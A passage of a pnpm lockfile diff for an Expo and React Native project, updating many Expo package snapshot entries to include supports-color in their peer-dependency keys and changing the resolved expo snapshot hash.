58.0.14(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6)) + expo-dev-menu: 58.0.11(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6)) expo-dev-menu-interface: 58.0.1(expo@58.0.14) expo-manifests: 58.0.1(expo@58.0.14) expo-updates-interface: 58.0.1(expo@58.0.14) transitivePeerDependencies: - react-native - expo-dev-launcher@58.0.14(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6)): + expo-dev-launcher@58.0.14(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6)): dependencies: '@expo/schema-utils': 58.0.2 - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) - expo-dev-menu: 58.0.11(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6)) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) + expo-dev-menu: 58.0.11(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6)) expo-manifests: 58.0.1(expo@58.0.14) - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) expo-dev-menu-interface@58.0.1(expo@58.0.14): dependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) - expo-dev-menu@58.0.11(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6)): + expo-dev-menu@58.0.11(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6)): dependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) expo-dev-menu-interface: 58.0.1(expo@58.0.14) - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) expo-device@58.0.5(expo@58.0.14): dependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) ua-parser-js: 0.7.41 expo-document-picker@58.0.4(expo@58.0.14): dependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) expo-eas-client@58.0.2: {} - expo-file-system@58.0.9(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6)): + expo-file-system@58.0.9(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6)): dependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) - expo-font@58.0.8(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0): + expo-font@58.0.8(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0): dependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) - expo-glass-effect@58.0.4(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0): + expo-glass-effect@58.0.4(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0): dependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) expo-haptics@58.0.7(expo@58.0.14): dependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) expo-image-loader@58.0.3(expo@58.0.14): dependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) - expo-image-manipulator@58.0.14(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0): + expo-image-manipulator@58.0.14(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0): dependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) expo-image-loader: 58.0.3(expo@58.0.14) react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) expo-image-picker@58.0.10(expo@58.0.14): dependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) expo-image-loader: 58.0.3(expo@58.0.14) - expo-image@58.0.15(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0): + expo-image@58.0.15(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0): dependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) sf-symbols-typescript: 2.2.0 expo-json-utils@58.0.1: {} expo-keep-awake@58.0.3(expo@58.0.14)(react@19.3.0): dependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) react: 19.3.0 - expo-linking@58.0.13(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)(typescript@7.0.2): + expo-linking@58.0.13(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1)(typescript@7.0.2): dependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) - expo-constants: 58.0.12(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(typescript@7.0.2) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) + expo-constants: 58.0.12(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(supports-color@8.1.1)(typescript@7.0.2) invariant: 2.2.4 react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) transitivePeerDependencies: - supports-color - typescript expo-manifests@58.0.1(expo@58.0.14): dependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) expo-json-utils: 58.0.1 - expo-modules-autolinking@58.0.13(typescript@7.0.2): + expo-modules-autolinking@58.0.13(supports-color@8.1.1)(typescript@7.0.2): dependencies: '@expo/platforms': 58.0.1 - '@expo/require-utils': 58.0.4(typescript@7.0.2) + '@expo/require-utils': 58.0.4(supports-color@8.1.1)(typescript@7.0.2) '@expo/spawn-async': 1.8.0 chalk: 4.1.2 commander: 7.2.0 @@ -19120,19 +18809,19 @@ snapshots: - supports-color - typescript - expo-modules-core@58.0.22(patch_hash=f0b0fd100550ed76e5c25b4d13eb7c9ff62825f8f197c53edf7bf447c50c9fb7)(react-native-worklets@0.13.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0): + expo-modules-core@58.0.22(patch_hash=f0b0fd100550ed76e5c25b4d13eb7c9ff62825f8f197c53edf7bf447c50c9fb7)(react-native-worklets@0.13.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0): dependencies: - expo-modules-jsi: 58.0.15(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6)) + expo-modules-jsi: 58.0.15(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6)) expo-modules-macros: 0.20.0 invariant: 2.2.4 react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) optionalDependencies: - react-native-worklets: 0.13.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + react-native-worklets: 0.13.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1) - expo-modules-jsi@58.0.15(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6)): + expo-modules-jsi@58.0.15(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6)): dependencies: - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) expo-modules-macros@0.20.0: optionalDependencies: @@ -19141,33 +18830,33 @@ snapshots: expo-network@58.0.3(patch_hash=cd09b6d1744dde4efa081b5619ebcff38877d98f7502a51cab121629dece8237)(expo@58.0.14)(react@19.3.0): dependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) react: 19.3.0 - expo-notifications@58.1.5(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)(typescript@7.0.2): + expo-notifications@58.1.5(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1)(typescript@7.0.2): dependencies: - '@expo/image-utils': 0.12.5(typescript@7.0.2) + '@expo/image-utils': 0.12.5(supports-color@8.1.1)(typescript@7.0.2) abort-controller: 3.0.0 badgin: 1.2.3 - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) expo-application: 58.1.2(expo@58.0.14) - expo-constants: 58.0.12(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(typescript@7.0.2) + expo-constants: 58.0.12(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(supports-color@8.1.1)(typescript@7.0.2) react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) transitivePeerDependencies: - supports-color - typescript - expo-paste-input@0.1.15(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0): + expo-paste-input@0.1.15(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0): dependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) - expo-quick-actions@6.0.2(expo@58.0.14)(typescript@7.0.2): + expo-quick-actions@6.0.2(expo@58.0.14)(supports-color@8.1.1)(typescript@7.0.2): dependencies: - '@expo/image-utils': 0.8.14(typescript@7.0.2) - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + '@expo/image-utils': 0.8.14(supports-color@8.1.1)(typescript@7.0.2) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) schema-utils: 4.3.3 sf-symbols-typescript: 2.2.0 transitivePeerDependencies: @@ -19176,71 +18865,71 @@ snapshots: expo-secure-store@58.0.2(expo@58.0.14): dependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) - expo-sensors@58.0.4(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6)): + expo-sensors@58.0.4(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6)): dependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) invariant: 2.2.4 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) expo-server@58.0.5: {} - expo-sharing@58.0.19(patch_hash=61a9741dc6166fdbb5baa2e489275a65dd21aa11d2c915f490a1b337a4468e76)(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)(typescript@7.0.2): + 